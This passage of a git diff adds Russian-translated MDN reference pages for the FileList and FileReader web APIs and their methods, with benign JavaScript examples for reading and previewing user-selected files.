+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatGeckoMobile(50) }}<sup>[1]</sup></td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatVersionUnknown }} {{ property_prefix("webkit") }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatNo }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox 50 introduces partial support for the File and Directory Entries API. Be sure to check the compatibility tables for individual interfaces and methods before using them, to ensure that they're supported, before you use them.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/en/tutorials/file/filesystem/" title="http://www.html5rocks.com/en/tutorials/file/filesystem/">Exploring the FileSystem APIs</a> (HTML5 Rocks)</li>
+</ul>
diff --git a/files/ru/web/api/filelist/index.html b/files/ru/web/api/filelist/index.html
new file mode 100644
index 0000000000..350142abee
--- /dev/null
+++ b/files/ru/web/api/filelist/index.html
@@ -0,0 +1,153 @@
+---
+title: FileList
+slug: Web/API/FileList
+tags:
+  - API
+  - File API
+  - Files
+translation_of: Web/API/FileList
+---
+<div>{{APIRef("File API")}}{{gecko_minversion_header("1.9")}}</div>
+
+<div>Объект этого типа возвращается свойством {{HTMLElement("input")}} элемента, что позволяет получить список выбранных файлов из <code>&lt;input type="file"&gt;</code>. Также используется для получения списка файлов, брошеных в область веб-контента (<strong>Web content</strong>) по средствам drag and drop API. Смотрите <a href="/en-US/docs/DragDrop/DataTransfer" title="DragDrop/DataTransfer">DataTransfer</a> для детального понимания как это использовать.</div>
+
+<div class="note">
+<p><strong>Заметка:</strong> До версии {{Gecko("1.9.2")}}, input элемент поддерживает только один выбранный файл, это значит что FileList содержит только один файл. Начиная с {{Gecko("1.9.2")}}, если input содержит атрибут multiple=true, то FileList может содержать несколько файлов.</p>
+</div>
+
+<h2 id="Using_the_file_list" name="Using_the_file_list">Использование FileList</h2>
+
+<p>Все <code>&lt;input&gt;</code> элементы имеют файловые массивы которые позволяют получить доступ к файлам. Пример файлового тега:</p>
+
+<pre>&lt;input id="fileItem" type="file"&gt;
+</pre>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Этот код извлекает первый </font><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code> object из списка:</p>
+
+<pre class="brush: js">var file = document.getElementById('fileItem').files[0];
+</pre>
+
+<h2 id="Method_overview" name="Method_overview">Обзор методов</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>File <a href="#item ()">item</a>(index);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attributes" name="Attributes">Свойства</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Атрибут</td>
+   <td class="header">Тип</td>
+   <td class="header">Описание</td>
+  </tr>
+  <tr>
+   <td><code>length</code></td>
+   <td><code>integer</code></td>
+   <td>Количество файлов в списке, свойство только для чтения (read-only)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<h3 id="item()" name="item()">item()</h3>
+
+<p>Возвращает <a href="/en-US/docs/DOM/File" title="DOM/File"><code>File</code></a> объект по его индексу в списке.</p>
+
+<pre> File item(
+   index
+ );
+</pre>
+
+<h6 id="Parameters" name="Parameters">Параметр</h6>
+
+<dl>
+ <dt><code>index</code></dt>
+ <dd>Отсчитываемый от нуля индекс файла для извлечения из списка.</dd>
+</dl>
+
+<h6 id="Return_value" name="Return_value">Возвращаемое значение</h6>
+
+<p><code>Тип <a href="/en-US/docs/DOM/File" title="DOM/File">File</a>, соотвествует запрашиваемому файлу.</code></p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>Этот пример выполняет перебор всех файлов, выбранных пользователем, используя элемент Input:</p>
+
+<pre class="brush:js">// fileInput это HTML input элемент: &lt;input type="file" id="myfileinput" multiple&gt;
+var fileInput = document.getElementById("myfileinput");
+
+// files это FileList объект (похож на NodeList)
+var files = fileInput.files;
+var file;
+
+// обходит файлы используя цикл
+for (var i = 0; i &lt; files.length; i++) {
+
+    // получаем сам файл
+    file = files.item(i);
+    // или можно так
+    file = files[i];
+
+    alert(file.name);
+}
+</pre>
+
+<p>Здесь пример посложнее.</p>
+
+<pre class="brush:html">&lt;!DOCTYPE HTML&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;!--атрибут multiple позволяет выбрать сразу несколько файлов--&gt;
+
+&lt;input id="myfiles" multiple type="file"&gt;
+
+&lt;/body&gt;
+
+&lt;script&gt;
+
+var pullfiles=function(){
+    // выбираем файловые инпуты на странице
+    var fileInput = document.querySelector("#myfiles");
+    var files = fileInput.files;
+    // кешируем files.length
+    var fl=files.length;
+    var i=0;
+
+    while ( i &lt; fl) {
+        // локализуем файловую переменную в цикле
+        var file = files[i];
+        alert(file.name);
+        i++;
+    }
+}
+
+// привязываем событие изменения input
+document.querySelector("#myfiles").onchange=pullfiles;
+
+//a.t
+&lt;/script&gt;
+
+&lt;/html&gt;</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML5 working draft)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Using files from web applications</a></li>
+ <li><code><a href="/en-US/docs/DOM/File" title="DOM/File">File</a></code></li>
+ <li><code><a href="/en-US/docs/DOM/FileReader" title="DOM/FileReader">FileReader</a></code></li>
+</ul>
diff --git a/files/ru/web/api/filereader/error/index.html b/files/ru/web/api/filereader/error/index.html
new file mode 100644
index 0000000000..d15627b9b9
--- /dev/null
+++ b/files/ru/web/api/filereader/error/index.html
@@ -0,0 +1,48 @@
+---
+title: FileReader.error
+slug: Web/API/FileReader/error
+translation_of: Web/API/FileReader/error
+---
+<div>{{APIRef("File API")}}</div>
+
+<h2 id="Сводка">Сводка</h2>
+
+<p>Возвращает ошибку, произошедшую во время чтения файла.</p>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox">var <var>error</var> = <em>instanceOfFileReader</em>.error
+</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{domxref("DOMError")}} содержит соответствующую ошибку. В Chrome 48+/Firefox 58+ значение возвращает {{domxref("DOMException")}} так как <code>DOMError</code> был удалён из DOM-стандарта.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#FileReader-interface", "FileReader")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("api.FileReader.error")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/filereader/index.html b/files/ru/web/api/filereader/filereader/index.html
new file mode 100644
index 0000000000..c6a1fe466a
--- /dev/null
+++ b/files/ru/web/api/filereader/filereader/index.html
@@ -0,0 +1,59 @@
+---
+title: FileReader()
+slug: Web/API/FileReader/FileReader
+tags:
+  - API
+  - FileReader
+  - Конструктор
+  - Ссылка
+translation_of: Web/API/FileReader/FileReader
+---
+<p>Конструктор <strong><code>FileReader()</code></strong> создаёт новый FileReader.</p>
+
+<p>Дополнительные сведения об использовании <code>FileReader</code>, смотрите в разделе <a href="/ru/docs/Web/API/File/Using_files_from_web_applications">Использвание файлов из веб-приложений</a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var reader = new FileReader();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Отсутсвуют.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Следующий объект кода показывает объект <code><a href="/ru/docs/Web/API/FileReader">FileReader</a></code> использующий конструктор <code>FileReader()</code> и последующее использование объекта:</p>
+
+<pre class="brush: js">function printFile(file) {
+  var reader = new FileReader();
+  reader.onload = function(evt) {
+    console.log(evt.target.result);
+  };
+  reader.readAsText(file);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('File API')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Первоночальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/API/File/Using_files_from_web_applications">Использование файлов из веб-приложений</a></li>
+</ul>
diff --git a/files/ru/web/api/filereader/index.html b/files/ru/web/api/filereader/index.html
new file mode 100644
index 0000000000..2e5678021c
--- /dev/null
+++ b/files/ru/web/api/filereader/index.html
@@ -0,0 +1,131 @@
+---
+title: FileReader
+slug: Web/API/FileReader
+tags:
+  - API
+  - DOM
+  - File API
+  - WebAPI
+  - Файлы
+translation_of: Web/API/FileReader
+---
+<p>{{ APIRef("File API") }}</p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<p>Объект <code>FileReader</code> позволяет веб-приложениям асинхронно читать содержимое файлов (или буферы данных), хранящиеся на компьютере пользователя, используя объекты {{domxref("File")}} или {{domxref("Blob")}}, с помощью которых задается файл или данные для чтения.</p>
+
+<p>Объекты <code>File</code> можно получить через объект {{domxref("FileList")}}, который возвращается как результат при выборе файлов пользователем с помощью элемента {{HTMLElement("input")}}, через drag and drop из объекта {{domxref("DataTransfer")}}, или с помощью <code>mozGetAsFile()</code>, метода доступного в API элемента {{domxref("HTMLCanvasElement")}}.</p>
+
+<div class="blockIndicator warning">
+<p>Важное замечание: <code>FileReader</code> используется только для безопасным образом чтения содержимого файла из пользовательской (удалённой) системы. Его нельзя использовать для простого чтения файла по пути из файловой системы. Для чтения файла по пути в JavaScript следуюет использовать стандартное решение Ajax для чтения файла на стороне сервера с разрешение CORS при кроссдоменном чтении.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<pre class="syntaxbox notranslate">FileReader FileReader();</pre>
+
+<p>Более детально, с примерами см. <a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">использование файлов в веб-приложениях</a>.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.error")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("DOMError")}} представляет собой ошибку, происходящую при чтении файла.</dd>
+ <dt>{{domxref("FileReader.readyState")}} {{readonlyinline}}</dt>
+ <dd>Число обозначающее состояние объекта <code>FileReader</code>. Принимает одно из значений {{ anch("State constants") }}.</dd>
+ <dt>{{domxref("FileReader.result")}} {{readonlyinline}}</dt>
+ <dd>Данные из файла. Значение свойства действительно только когда завершится операция чтения, причем формат данных зависит от способа, с помощью которого процесс был вызван.</dd>
+</dl>
+
+<h3 id="Обработка_событий">Обработка событий</h3>
+
+<dl>
+ <dt>{{domxref("FileReader.onabort")}}</dt>
+ <dd>Обработчик для события {{event("abort")}}. Это событие срабатывает каждый раз, когда прерывается операция чтения.</dd>
+ <dt>{{domxref("FileReader.onerror")}}</dt>
+ <dd>Обработчик для события {{event("error")}}. Это событие срабатывает каждый раз, когда при чтении возникает ошибка.</dd>
+ <dt>{{domxref("FileReader.onload")}}</dt>
+ <dd>Обработчик для события {{event("load")}}. Это событие срабатывает при каждом успешном завершении операции чтения.</dd>
+ <dt>{{domxref("FileReader.onloadstart")}}</dt>
+ <dd>Обработчик для события {{event("loadstart")}}. Это событие срабатывает каждый раз, при запуске процесса чтения.</dd>
+ <dt>{{domxref("FileReader.onloadend")}}</dt>
+ <dd>Обработчик для события {{event("loadend")}}. Это событие срабатывает каждый раз по окончании процесса чтения (не важно, успешном или нет).</dd>
+ <dt>{{domxref("FileReader.onprogress")}}</dt>
+ <dd>Обработчик для события {{event("progress")}}. Это событие срабатывает во время чтения данных из {{domxref("Blob")}}.</dd>
+</dl>
+
+<div class="note">
+<p>Замечание: т.к. <code>FileReader</code> унаследован от {{domxref("EventTarget")}}, на все перечисленные события можно подписаться, используя метод {{domxref("EventTarget.addEventListener()","addEventListener")}}.</p>
+</div>
+
+<h3 id="State_constants" name="State_constants">Константы состояния</h3>
+
+<ul>
+ <li><code>EMPTY </code> : <code>0</code> : Данные еще не были загружены.</li>
+ <li><code>LOADING</code> : <code>1</code> : Данные в данный момент загружаются.</li>
+ <li><code>DONE </code> : <code>2</code> : Операция чтения была завершена.</li>
+</ul>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<dl>
+ <dt>{{domxref("FileReader.abort()")}}</dt>
+ <dd>Отмена операции чтения. После вызова, значение <code>readyState</code> станет равным <code>DONE</code>.</dd>
+ <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code>result</code> будет содержать данные файла в виде {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать бинарные данные файла в виде строки.</dd>
+ <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать данные файла в виде <code>data:</code> URL.</dd>
+ <dt>{{domxref("FileReader.readAsText()")}}</dt>
+ <dd>Запускает процесс чтения данных указанного {{ domxref("Blob") }}, по завершении, аттрибут <code style="font-style: normal;">result</code> будет содержать данные файла в виде текста.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{Compat("api.FileReader")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h3 id="Заметки_по_реализации">Заметки по реализации</h3>
+
+<ul>
+ <li>Для IE9 есть <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info" title="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</li>
+ <li>Opera предоставляет <a href="http://www.opera.com/docs/specs/presto28/file/" title="http://my.opera.com/desktopteam/blog/2011/04/05/stability-gmail-socks">частичную поддержку</a> в версии 11.1.</li>
+</ul>
+
+<h4 id="Относительно_движка_Gecko">Относительно движка Gecko</h4>
+
+<ul>
+ <li>В версиях Gecko ниже 2.0 beta 7 (Firefox 4.0 beta 7), все параметры {{ domxref("Blob") }} были параметрами {{ domxref("File") }}; в последствии это было изменено, для соответствия спецификации.</li>
+ <li>В версиях Gecko ниже 13.0 {{ geckoRelease("13.0") }} свойство <code>FileReader.error</code> возвращало объект {{ domxref("FileError") }}. Этот интерфейс был упразднен и теперь свойство <code>FileReader.error</code> возвращает объект {{ domxref("DOMError") }}, что соответствует определению FileAPI последней спецификации.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li><a href="/ru/Using_files_from_web_applications" title="ru/Using files from web applications">Использование файлов в веб-приложениях</a></li>
+ <li>{{ domxref("File") }}</li>
+ <li>{{ domxref("Blob") }}</li>
+ <li><a href="/ru/docs/nsIDOMFileReader">nsIDOMFileReader</a> - <span style="background-color: #ffffff; color: #4d4e53; font-family: open sans,arial,sans-serif; font-size: 14px; line-height: 21px;">For addons/privileged scope</span></li>
+</ul>
diff --git a/files/ru/web/api/filereader/onabort/index.html b/files/ru/web/api/filereader/onabort/index.html
new file mode 100644
index 0000000000..cf9d62c646
--- /dev/null
+++ b/files/ru/web/api/filereader/onabort/index.html
@@ -0,0 +1,10 @@
+---
+title: FileReader.onabort
+slug: Web/API/FileReader/onabort
+translation_of: Web/API/FileReader/onabort
+---
+<p>Значением свойства <strong><code>FileReader.onabort</code></strong> является функция которая вызывается в случае если срабатывает событие <a href="/ru/docs/Web/Events/abort">abort</a>, например когда процесс чтения файла прерывается по каким-либо причинам.  </p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">reader.onabort = function() { ... };</pre>
diff --git a/files/ru/web/api/filereader/readasarraybuffer/index.html b/files/ru/web/api/filereader/readasarraybuffer/index.html
new file mode 100644
index 0000000000..77fd35b3b4
--- /dev/null
+++ b/files/ru/web/api/filereader/readasarraybuffer/index.html
@@ -0,0 +1,110 @@
+---
+title: FileReader.readAsArrayBuffer()
+slug: Web/API/FileReader/readAsArrayBuffer
+tags:
+  - API
+  - DOM
+  - File API
+  - Reference
+  - readAsArrayBuffer
+  - Файлы
+  - метод
+translation_of: Web/API/FileReader/readAsArrayBuffer
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>Метод <strong><code>readAsArrayBuffer</code></strong> используется для чтения содержимого файла, представленного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершается, {{domxref("FileReader.readyState","readyState")}} принимает значение <code>DONE</code>, и наступает событие {{event("loadend")}}. В то же время в {{domxref("FileReader.result","result")}} помещается информация о файле в виде {{domxref("ArrayBuffer")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsArrayBuffer(<em>blob</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или {{domxref("File")}}, информацию из которого необходимо прочитать.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}</td>
+   <td>{{Spec2("File API")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10<sup>[2]</sup></td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Gecko 2.0 beta 7 (Firefox 4.0 beta 7), все {{domxref("Blob")}} параметры были {{domxref("File")}} параметрами; были произведены изменения<span id="result_box" lang="ru"><span class="alt-edited"> для</span> <span class="alt-edited">удовлетворения условий</span> <span class="alt-edited">спецификации</span></span>. До Gecko 13.0 {{geckoRelease("13.0")}}<code> свойство FileReader.error</code> возвращало объект {{domxref("FileError")}}. Этот интерфейс был удален и теперь <code>FileReader.error</code> возвращает объект {{domxref("DOMError")}} как это определено в последнем драфте FileAPI.</p>
+
+<p>[2] IE9 имеет <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera <a href="http://www.opera.com/docs/specs/presto28/file/">частично поддерживает</a> в версии 11.1.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readasbinarystring/index.html b/files/ru/web/api/filereader/readasbinarystring/index.html
new file mode 100644
index 0000000000..f32be8f61b
--- /dev/null
+++ b/files/ru/web/api/filereader/readasbinarystring/index.html
@@ -0,0 +1,113 @@
+---
+title: FileReader.readAsBinaryString()
+slug: Web/API/FileReader/readAsBinaryString
+translation_of: Web/API/FileReader/readAsBinaryString
+---
+<div>{{APIRef("File API")}} {{non-standard_header}}</div>
+
+<p>Метод <code>readAsBinaryString</code> используется для начала считывания содержимого определенного как {{domxref("Blob")}} или {{domxref("File")}}. Когда операция чтения завершится {{domxref("FileReader.readyState","readyState")}} становится <code>DONE</code>, и срабатывает {{event("loadend")}} . В это время атрибут {{domxref("FileReader.result","result")}} содержит сырыебинарные данные из файла.</p>
+
+<p>Заметьте, что этот метод  устарел (12 July 2012 Working Draft from the W3C.)</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsBinaryString(blob);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>The {{domxref("Blob")}} or {{domxref("File")}} from which to read.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var canvas = document.createElement('canvas');
+var height = 200;
+var width  = 200;
+
+canvas.width  = width;
+canvas.height = height;
+
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = '#090';
+ctx.beginPath();
+ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
+ctx.stroke();
+
+canvas.toBlob(function (blob) {
+  var reader = new FileReader();
+
+  reader.onloadend = function () {
+    console.log(reader.result);
+  }
+
+  reader.readAsBinaryString(blob);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Этот метод был удален из стандарта FileAPI. Вместо него следует использовать {{domxref("FileReader.readAsArrayBuffer()")}}.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}<sup>[1]</sup></td>
+   <td>7</td>
+   <td>{{CompatNo}}</td>
+   <td>12.02<sup>[3]</sup></td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>32</td>
+   <td>3</td>
+   <td>10</td>
+   <td>11.5</td>
+   <td>6.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{domxref("Blob")}} parameters below were {{domxref("File")}} parameters; this has since been updated to match the specification correctly. Prior to Gecko 13.0 {{geckoRelease("13.0")}} the <code>FileReader.error</code> property returned a {{domxref("FileError")}} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{domxref("DOMError")}} object as defined in the latest FileAPI draft.</p>
+
+<p>[2] IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</p>
+
+<p>[3] Opera has <a href="http://www.opera.com/docs/specs/presto28/file/">partial support</a> in 11.1.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readasdataurl/index.html b/files/ru/web/api/filereader/readasdataurl/index.html
new file mode 100644
index 0000000000..fe755489e9
--- /dev/null
+++ b/files/ru/web/api/filereader/readasdataurl/index.html
@@ -0,0 +1,64 @@
+---
+title: FileReader.readAsDataURL()
+slug: Web/API/FileReader/readAsDataURL
+translation_of: Web/API/FileReader/readAsDataURL
+---
+<p>{{APIRef("File API")}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Метод </font>readAsDataURL</code> используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}.Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение <code>DONE</code>, и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут  {{domxref("FileReader.result","result")}} будет содержать данные<code> как URL, представляющий файл, кодированый в</code> base64 строку.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или{{domxref("File")}} которые следует прочитать.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
+&lt;img src="" height="200" alt="Image preview..."&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">function previewFile() {
+  var preview = document.querySelector('img');
+  var file    = document.querySelector('input[type=file]').files[0];
+  var reader  = new FileReader();
+
+  reader.onloadend = function () {
+    preview.src = reader.result;
+  }
+
+  if (file) {
+    reader.readAsDataURL(file);
+  } else {
+    preview.src = "";
+  }
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80", "100%", 240)}}</p>
+
+<div class="note"><strong>Примечание:</strong> <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> конструктор не поддерживается Internet Explorer до 10 версии. Для полностью совместимого решения прочтите <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">crossbrowser possible solution for image preview</a>. Смотрите так же <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">this more powerful example</a>.</div>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Спецификации</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Specifications")}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{page("/en-US/docs/Web/API/FileReader","Browser compatibility")}}</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("FileReader")}}</li>
+</ul>
diff --git a/files/ru/web/api/filereader/readastext/index.html b/files/ru/web/api/filereader/readastext/index.html
new file mode 100644
index 0000000000..fef33b109d
--- /dev/null
+++ b/files/ru/web/api/filereader/readastext/index.html
@@ -0,0 +1,50 @@
+---
+title: FileReader.readAsText()
+slug: Web/API/FileReader/readAsText
+translation_of: Web/API/FileReader/readAsText
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>Метод <strong><code>readAsText()</code></strong> используется для чтения содержимог указанного {{domxref("Blob")}} или {{domxref("File")}}. Когда операция закончится, {{domxref("FileReader.readyState","readyState")}} примет значение <code>DONE</code>  и будет вызвано событие {{event("loadend")}}. В то же время, аттрибут {{domxref("FileReader.result","result")}} будет содержать данные файла как строку.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>blob</code></dt>
+ <dd>{{domxref("Blob")}} или {{domxref("File")}} которые следует прочитать.</dd>
+ <dt><code>encoding</code> {{optional_inline}}</dt>
+ <dd>Строка, обозначающая кодировку используемую для возращаемых данных. По умолчанию используется UTF-8, если параметр не указан.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
